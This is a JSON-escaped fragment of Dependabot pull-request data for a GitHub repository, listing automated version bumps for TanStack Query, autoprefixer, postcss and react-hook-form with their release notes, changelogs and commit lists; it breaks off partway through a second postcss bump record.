test({react,preact,solid}-query/useInfiniteQuery): inline the shared 'fetchIt...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d1558c1491629b36661e0a166e1091bb4a256daa\"\u003e\u003ccode\u003ed1558c1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the 'generateQueryFn' fac...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/99690d18b7937f217d3744b1c2ac78cc47caeaa7\"\u003e\u003ccode\u003e99690d1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline single-use helper...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/10770f0720dacae3a26701a747e33abd6bafbf8a\"\u003e\u003ccode\u003e10770f0\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline the shared 'Suspe...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/dbd5a86e95284387bc3f172208bc52c0053a1bb2\"\u003e\u003ccode\u003edbd5a86\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the shared 'Suspended' co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b955f60d7965cc521df6ee8b1ce91b3d0e8c046d\"\u003e\u003ccode\u003eb955f60\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/useSuspenseQuery): assert the 'loading' fallback is...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b9c657e20b1ac1078ab265de8fc691aec192e143\"\u003e\u003ccode\u003eb9c657e\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): assert the 'Loading...' fallback...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/79d2384db5c8776680d5bfbe9b595618c066248b\"\u003e\u003ccode\u003e79d2384\u003c/code\u003e\u003c/a\u003e docs(*): fix 'homogenous', 'stoage', 'supressed', 'compoennts' spelling typos...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.101.3/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query-devtools` from 5.101.2 to 5.101.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query-devtools's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query-devtools/CHANGELOG.md\"\u003e@​tanstack/react-query-devtools's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c47678129db66610e210534ed26af5847c82a89c\"\u003e\u003ccode\u003ec476781\u003c/code\u003e\u003c/a\u003e test({react,preact}-query-devtools): assert the forwarded 'onClose' callback ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6a5bc45f92bc10d9470468cf8487054dc9721a2a\"\u003e\u003ccode\u003e6a5bc45\u003c/code\u003e\u003c/a\u003e test(react-query-devtools): extract shared test setup into 'beforeEach' (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools/issues/11026\"\u003e#11026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/cb115eaf029a7a0c4e9acf7257d9306e4bc0c9fa\"\u003e\u003ccode\u003ecb115ea\u003c/code\u003e\u003c/a\u003e test(react-query-devtools/ReactQueryDevtools): add tests for forwarding optio...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query-devtools@5.101.3/packages/react-query-devtools\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.2 to 10.5.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/4cad00f0e839f3d7bbcdcc00b7df6fc448fb28f3\"\u003e\u003ccode\u003e4cad00f\u003c/code\u003e\u003c/a\u003e Release 10.5.4 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e62a4b1782f4ece51070feba79b0ff19f4305c68\"\u003e\u003ccode\u003ee62a4b1\u003c/code\u003e\u003c/a\u003e Update CI config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c8f0d0ae00f5bb28bbcc3413f70b088020007469\"\u003e\u003ccode\u003ec8f0d0a\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cae35771dc4a4dfeda637a31dc1795ace6d9d28b\"\u003e\u003ccode\u003ecae3577\u003c/code\u003e\u003c/a\u003e Move back to latest pnpm 11\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/fd31eb33b56ab9663d298b5bf08ae4ff47f76878\"\u003e\u003ccode\u003efd31eb3\u003c/code\u003e\u003c/a\u003e Fix duplicated prefixed selectors on reformatted CSS (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1552\"\u003e#1552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.2...10.5.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.19 to 8.5.20\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c4ac725d5920916d35be44002b49b7f66f8b1dc8\"\u003e\u003ccode\u003ec4ac725\u003c/code\u003e\u003c/a\u003e Release 8.5.20 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c30586d7863d0563e2f2707bd89461636e37f6f6\"\u003e\u003ccode\u003ec30586d\u003c/code\u003e\u003c/a\u003e Fix missing space when AtRule#params is set after parsing (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2113\"\u003e#2113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/5bfc3b9e7463936fdd4898f92dd43c358bfdef62\"\u003e\u003ccode\u003e5bfc3b9\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/24733fdbfe9abe4a949eb0a10e53db8c87fc9277\"\u003e\u003ccode\u003e24733fd\u003c/code\u003e\u003c/a\u003e Move back to latest 11 pnpm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/728127c427e076ae15f4b4107cae29f9e60d2db4\"\u003e\u003ccode\u003e728127c\u003c/code\u003e\u003c/a\u003e Update pnpm to check that CI is fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/806fe21198e210cc85fd87d4afd0c949b04e0c1f\"\u003e\u003ccode\u003e806fe21\u003c/code\u003e\u003c/a\u003e Rebuild nodes from another PostCSS copy in Warning (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2112\"\u003e#2112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/337cb7ef092da6066ec845973af243ed8e378550\"\u003e\u003ccode\u003e337cb7e\u003c/code\u003e\u003c/a\u003e Improve CI security\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a8ca2d0e5044fbde3df33e2b9730c14528270e3\"\u003e\u003ccode\u003e7a8ca2d\u003c/code\u003e\u003c/a\u003e Remove patch after updating dependency\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.19...8.5.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-hook-form` from 7.81.0 to 7.82.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/releases\"\u003ereact-hook-form's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 7.82.0\u003c/h2\u003e\n\u003cp\u003e🚀 \u003cstrong\u003efeat:\u003c/strong\u003e add opt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003esetValue(\u0026quot;firstName\u0026quot;, \u0026quot;Bill\u0026quot;, {\r\n  delayError: 500, // delay validation error updates by 500ms\r\n  shouldValidate: true\r\n});\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e⚡ \u003cstrong\u003eperf:\u003c/strong\u003e improve \u003ccode\u003egetDirtyFields\u003c/code\u003e performance (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved dirty field calculation, especially for larger forms and deeply nested values.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e expose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst { resetDefaultValues } = useFormContext();\r\n\u003cp\u003eresetDefaultValues();\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e \u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e now correctly updates dirty state when the form is disabled (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13594\"\u003e#13594\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e preserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13586\"\u003e#13586\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e restore \u003ccode\u003eFieldArray\u003c/code\u003e component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\n🧪 \u003cstrong\u003etest:\u003c/strong\u003e migrate test suite to Playwright and improve \u003ccode\u003edelayError\u003c/code\u003e test reliability (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ethanks to \u003ca href=\"https://github.com/candymask0712\"\u003e\u003ccode\u003e@​candymask0712\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wanxiankai\"\u003e\u003ccode\u003e@​wanxiankai\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/a-y-ibrahim\"\u003e\u003ccode\u003e@​a-y-ibrahim\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ankit1324\"\u003e\u003ccode\u003e@​ankit1324\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/abnud11\"\u003e\u003ccode\u003e@​abnud11\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/blob/master/CHANGELOG.md\"\u003ereact-hook-form's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[7.82.0] - 2026-07-18\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOpt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e to delay validation error updates\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e not updating dirty state correctly when the form is disabled\u003c/li\u003e\n\u003cli\u003ePreserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields\u003c/li\u003e\n\u003cli\u003eRestore \u003ccode\u003eFieldArray\u003c/code\u003e component export\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove \u003ccode\u003egetDirtyFields\u003c/code\u003e performance, especially for larger forms and deeply nested values\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/553d2906476fc2573fb0b18c3a895f72b46f0bb9\"\u003e\u003ccode\u003e553d290\u003c/code\u003e\u003c/a\u003e 7.82.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2791e4f6bb1ecfc2de02a0bf37d4e5a3225fb01c\"\u003e\u003ccode\u003e2791e4f\u003c/code\u003e\u003c/a\u003e 🐞 fix: prevent stale _setValid() calls from overwriting isValid/isValidating ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/521adfcbd7e6c99e0253af574006c6e26077887b\"\u003e\u003ccode\u003e521adfc\u003c/code\u003e\u003c/a\u003e 🤦🏻‍♂️ fix: expose resetDefaultValues through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2f7c1c5cdf57cc9185554542f8118fdbf382032a\"\u003e\u003ccode\u003e2f7c1c5\u003c/code\u003e\u003c/a\u003e 🤧 fix FieldArray component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/937828856fc5bab74a61b5eba03de248c4aca20b\"\u003e\u003ccode\u003e9378288\u003c/code\u003e\u003c/a\u003e 🐞 fix \u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13592\"\u003e#13592\u003c/a\u003e setValue with shouldDirty not marking dirty state when form is d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/65599cce839bfdf5c90017de2d1e44da98754beb\"\u003e\u003ccode\u003e65599cc\u003c/code\u003e\u003c/a\u003e 🚗 perf: improve get dirty fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/142f2994a13e726cbaa3bdb8b62bc82e6cc7efcd\"\u003e\u003ccode\u003e142f299\u003c/code\u003e\u003c/a\u003e 🖲️ chore: upgrade pnpm to v11 (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13587\"\u003e#13587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/673aae44ee2fb6f9d1c8c403d8e659a278a7194c\"\u003e\u003ccode\u003e673aae4\u003c/code\u003e\u003c/a\u003e 🤖 build(deps-dev): bump vite from 5.4.11 to 6.4.3 in /app (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13534\"\u003e#13534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/11bd6df899a6bd157a241e6d7310af7132d9e86a\"\u003e\u003ccode\u003e11bd6df\u003c/code\u003e\u003c/a\u003e 🥗 migrate to playwright \u0026amp; fix delay error feature (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/95da27a959855b92b9e07ed7e80ddd0f4b0c08a9\"\u003e\u003ccode\u003e95da27a\u003c/code\u003e\u003c/a\u003e ⏳ feat: add opt-in delayError option for setValue (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/react-hook-form/react-hook-form/compare/v7.81.0...v7.82.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Elmun-Technologies/nishon-ai/pull/159","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Elmun-Technologies%2Fnishon-ai/issues/159","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/159/packages"},{"uuid":"4932790420","node_id":"PR_kwDOTThwCs70CqCS","number":21,"state":"open","title":"chore(deps-dev): bump postcss from 8.5.14 to 8.5.20 in /app/web","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-20T20:25:51.000Z","updated_at":"2026-07-20T20:25:52.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"postcss","old_version":"8.5.14","new_version":"8.5.20","repository_url":"https://github.com/postcss/postcss"}],"path":"/app/web","ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.14 to 8.5.20.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for 